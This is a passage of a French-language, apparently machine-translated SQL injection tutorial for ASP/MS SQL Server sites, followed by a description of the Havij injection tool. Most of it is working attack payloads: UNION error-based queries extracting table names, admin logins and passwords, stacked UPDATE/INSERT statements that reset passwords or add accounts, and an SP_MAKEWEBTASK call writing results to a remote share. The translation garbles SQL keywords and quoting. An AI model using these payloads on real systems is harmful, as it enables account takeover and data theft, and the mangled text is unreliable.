http: // site /? id \u003d 31610

Si vous n'avez reçu aucune demande d'utilitaire Ping auprès du serveur et obtenez un message d'erreur indiquant l'erreur d'autorisation, il est possible que l'administrateur a limité l'accès Web aux procédures enregistrées.

5.0 Comment obtenir les résultats de ma requête SQL?

Vous pouvez utiliser SP_MakeWebBTASK pour enregistrer votre demande dans HTML:

"; EXEC MASTER..SP_MAKEWEBTASK" \\\\ 10.10.1.3 \\ Share \\ Sortie.html "," Sélectionnez * à partir d'informations_schema.tables "

IP spécifiée doit avoir un dossier "Partager" avec accès pour tout le monde.

6.0 Comment obtenir des données d'une base de données à l'aide d'un message d'erreur ODBC?

Nous pouvons utiliser des informations à partir d'un message d'erreur effectué par SQL Server pour obtenir toutes les données. Par exemple, envisagez la page suivante:

http: //duck/index.asp? id \u003d 10

Nous allons maintenant essayer de fusionner l'ensemble de «10» avec une autre ligne dans la base de données:

http: //duck/index.asp? id \u003d 10 Union Sélectionnez Top 1 Table_Name à partir d'informations_schema.tables--

La table système Information_Schema.Tables contient des informations de toutes les tables sur le serveur.

Le champ Table_Name contient évidemment le nom de chaque table dans la base de données. Elle a été choisie parce que nous savons qu'elle existe toujours. Notre demande:

Sélectionnez Top 1 Table_Name à partir d'informations_schema.Tables--

Cette demande renvoie le prénom de la base de données. Lorsque nous unissons, une valeur de chaîne à un total 10, MS SQL Server tentera de convertir la chaîne Nvarchar en entier. Cela entraînera une erreur qui signalera qui ne peut pas convertir Nvarchachar en Int. Le serveur donnera l'erreur suivante:


Erreur de syntaxe Conversion de la valeur Nvarchar "(! Lang: Table1" to a column of data type int. !}
/Index.asp, ligne 5

Un message d'erreur contient des informations sur une valeur qui ne peut pas être transformée en entiers. Dans ce cas, nous avons reçu le nom de la première table - "Table1".

Pour le nom de la table suivant, nous pouvons utiliser la requête suivante:

http: //duck/index.asp? id \u003d 10 Union Sélectionnez le top 1 Table_Name à partir d'informations_schema.Thables où table_name non in ("Table1") -

Nous pouvons également rechercher des données à l'aide de la clé similaire:

http: //duck/index.asp? id \u003d 10 Union Sélectionnez le top 1 Table_Name à partir d'informations_schema.tables Où Tableau_name comme "% 25Login% 25" -

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07" Erreur de syntaxe Conversion de la valeur Nvarchar "(! Lang: admin_login" to a column of data type int. !} /Index.asp, ligne 5

La conception correspondante "% 25Login% 25" sera remplacée par% de connexion% dans le serveur SQL. Dans ce cas, nous obtenons le nom de la table correspondant au critère "admin_login".

6.1 Comment connaître tous les noms des colonnes de la table?

Nous pouvons utiliser la table Information_Schema.Columns pour afficher tous les noms de colonne du tableau:

http: //duck/index.asp? id \u003d 10 Union Sélectionnez Top 1 Nom de colonne à partir d'informations_schema.Columns où table_name \u003d "admin_login" -

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07"
Erreur de syntaxe Conversion de la valeur Nvarchar "(! Lang: login_id" to a column of data type int. !}
/Index.asp, ligne 5

Maintenant, lorsque nous avons appris le nom de la première colonne, nous pouvons utiliser non dans () pour obtenir le nom de la colonne suivante:

http: //duck/index.asp? id \u003d 10 Union Sélectionnez le top 1 Columin_Name à partir d'informations_schema.Columns Où table_name \u003d "admin_login" où Nom_Name non in ("login_id") -

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07"
Erreur de syntaxe Conversion de la valeur Nvarchar "(! Lang: nom_fr" to a column of data type int. !}
/Index.asp, ligne 5

Continuant, nous obtiendrons les noms restants des colonnes, c'est-à-dire "Mot de passe", "Détails" jusqu'à ce que nous obtenions l'erreur suivante.

http: //duck/index.asp? id \u003d 10 Union Sélectionnez le top 1 Column_Name à partir d'informations_schema.Columns où table_name \u003d "admin_login" Si Column_Name n'est pas dans ("Login_id" "," Mot de passe ", Détails") -

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E14"
La commande par éléments doit apparaître dans la liste Sélectionner si l'instruction contient un opérateur syndical.
/Index.asp, ligne 5

6.2. Comment pouvons-nous obtenir les données dont vous avez besoin?

Maintenant que nous avons identifié des tables importantes, nous pouvons utiliser la même méthodologie pour obtenir des informations de la base de données.

Observons le premier nom de connexion à partir de la table "Admin_Login":

http: //duck/index.asp? id \u003d 10 Union Sélectionnez Top 1 Login_Name de Admin_Login--

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07"
Erreur de syntaxe Convertir la valeur Nvarparar "(! Lang: Neo" to a column of data type int. !}
/Index.asp, ligne 5

Nous savons maintenant qu'il existe un utilisateur administrateur avec le nom de l'entrée du système "Neo". Enfin, nous pouvons obtenir un mot de passe "néo":

http: //duck/index.asp? id \u003d 10 Union Sélectionnez Top 1 mot de passe de admin_login où login_name \u003d "Neo" -

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07"
Erreur de syntaxe Convertir la valeur Nvarchar "(! Lang: m4trix" to a column of data type int. !}
/Index.asp, ligne 5

Maintenant, nous pouvons nous connecter comme "Neo" avec un mot de passe "m4trix".

6.3 Comment obtenir une valeur de rangée numérique?

Il y a une limite dans la méthode décrite ci-dessus. Nous ne pourrons pas obtenir un message d'erreur si nous essayons de convertir un texte composé de chiffres (uniquement des caractères compris entre 0 ... 9). Maintenant, nous allons décrire le mot de passe "31173" avec l'utilisateur "Trinité":

http: //duck/index.asp? id \u003d 10 Union Sélectionnez Top 1 mot de passe de admin_login où login_name \u003d "Trinité" -

Nous avons probablement une erreur "page non trouvée. La raison en est que le mot de passe "31173" sera transformé en nombre, avant l'union avec un entier (dans notre cas 10). Comme il s'avérera la bonne expression de l'Union, le serveur SQL n'ayera pas afficher un message d'erreur. Nous ne pourrons donc pas obtenir un enregistrement numérique.

Pour résoudre ce problème, nous pouvons ajouter une chaîne numérique à la fin avec des lettres de sorte que la transformation ne soit pas passée. Query modifié:

http: //duck/index.asp? id \u003d 10 Union Select Top 1 Convertir (int, mot de passe% 2b "% 20morpheus") de admin_login où login_name \u003d "Trinité" -

Nous utilisons simplement le signe plus (+) afin d'ajouter un mot de passe à la fin avec n'importe quel texte (codage AssCII pour "+" \u003d 0x2b). Ensuite, nous allons ajouter à la fin "% 20morpheus" dans le mot de passe réel. Par conséquent, même si la valeur de mot de passe "31173", elle deviendra "31173 morpheus". Appeler manuellement la fonction Convert (), en essayant de convertir "31173 morpheus" en integer, SQL Server affichera un message d'erreur ODBC:

Fournisseur Microsoft Ole DB pour les pilotes ODBC Erreur "80040E07"
Erreur de syntaxe Conversion de la valeur NVARCHAR "(! Lang: 31173 morpheus" to a column of data type int. !}
/Index.asp, ligne 5

Maintenant, nous pouvons vous connecter comme "Trinité" avec un mot de passe "31173".

7.0 Comment modifier / coller des données dans la base de données?

Après avoir reçu les noms de toutes les colonnes de la table, nous pouvons mettre à jour ou même insérer (insérer) une nouvelle entrée dans la table. Par exemple, nous pouvons changer le mot de passe pour "Neo":

http: //duck/index.asp? id \u003d 10; Mettre à jour "Admin_Login" Définir "mot de passe" \u003d "newpas5" était login_name \u003d "Neo--

Pour faire (insérer) une nouvelle entrée à la base de données:

http: //duck/index.asp? id \u003d 10; Insérer dans "admin_login" ("Login_id", "Login_name", "Mot de passe", "Détails") Valeurs (666, "Neo2", "Newpas5", "NA") -

Maintenant, nous pouvons vous connecter comme "Neo" avec un mot de passe "newpas5".

8.0 Comment éviter l'injection SQL?

Filtrer des caractères spéciaux dans toutes les lignes à:

Toute données saisies par l'utilisateur
- Paramètres d'URL
- Biscuit.

Pour les valeurs numériques, convertissez-les en Integer, avant de les transmettre à la demande SQL. Ou utiliser isnumeric pour vous assurer que c'est un entier.

Exécutez le serveur SQL en tant qu'utilisateur non privilégié.

Supprimer les procédures enregistrées non utilisées: Master..xp_cmdshell, XP_Startmail, XP_SENDMAIL, SP_MAKEWEBTASK

Havij est un programme qui sert à vérifier la disponibilité des vulnérabilités du site Web. Le plus souvent, il n'utilise pas tout à fait l'objectif principal, à savoir - mettre en œuvre des injections SQL. C'est à cause de cela que l'outil appartient le plus souvent au logiciel "Hacker".

Principe d'opération

En utilisant cette application, vous pouvez effectuer des attaques sur un service Web pour modifier l'expression SQL par la conditionnement. En cas de succès, l'injection vous permet de modifier la logique d'exécution d'une demande d'utilisateur pour vos propres besoins. Souvent, pendant l'attaque, il est créé simplement une empreinte (empreinte digitale) de la base de données, après quoi les données nécessaires sont importées, par exemple, la base de l'utilisateur ou le compte administrateur. En présence de vulnérabilités, les hostiles peuvent même interagir avec la partie arrière de l'application Web. En particulier, une telle introduction vous permet d'accomplir les commandes nécessaires sur le serveur ou d'afficher les fichiers nécessaires sur le côté hôte.

Capacités

Havij permet de sauvegarder les mots de passe de hachage et la table de vidage. Le programme vous permet d'effectuer différents types d'injection: injection SQL basée sur des erreurs, injection SQL de la requête syndicale, injection SQL Stacked SQL, injection de SQL aveugle à base de temps, ainsi que l'injection SQL aveugle basée sur le booléen. L'outil fonctionne avec HTTPS et prend en charge une variété de types de DBMS: MSAccess, MySQL, Oracle, PostgreSQ et même Sybase. Si nécessaire, Havij peut travailler dans plusieurs flux grâce à la proxy.

La syntaxe du code ci-joint peut être éditée par "mains". De plus, avant le début de l'attaque, il est autorisé à sélectionner une liste des mots-clés souhaités, des colonnes de tables ou des types de données (par exemple - des nombres entiers ou des nombres fractionnaires).

En cours de travail, le Havij dirige un journal détaillé d'opérations, qui, après la fin de l'attaque terminée, est enregistré dans le dossier du programme. L'interface d'application est assez intuitive et toutes les commandes de base ici correspond ici dans une fenêtre.

Principales caractéristiques

  • exécution d'injections SQL avec la syntaxe souhaitée;
  • prise en charge de divers modes de réalisation;
  • rechercher des vulnérabilités et des applications de site Web;
  • capacité à travailler avec différents types de SGBD;
  • prise en charge du protocole HTTPS et du proxy.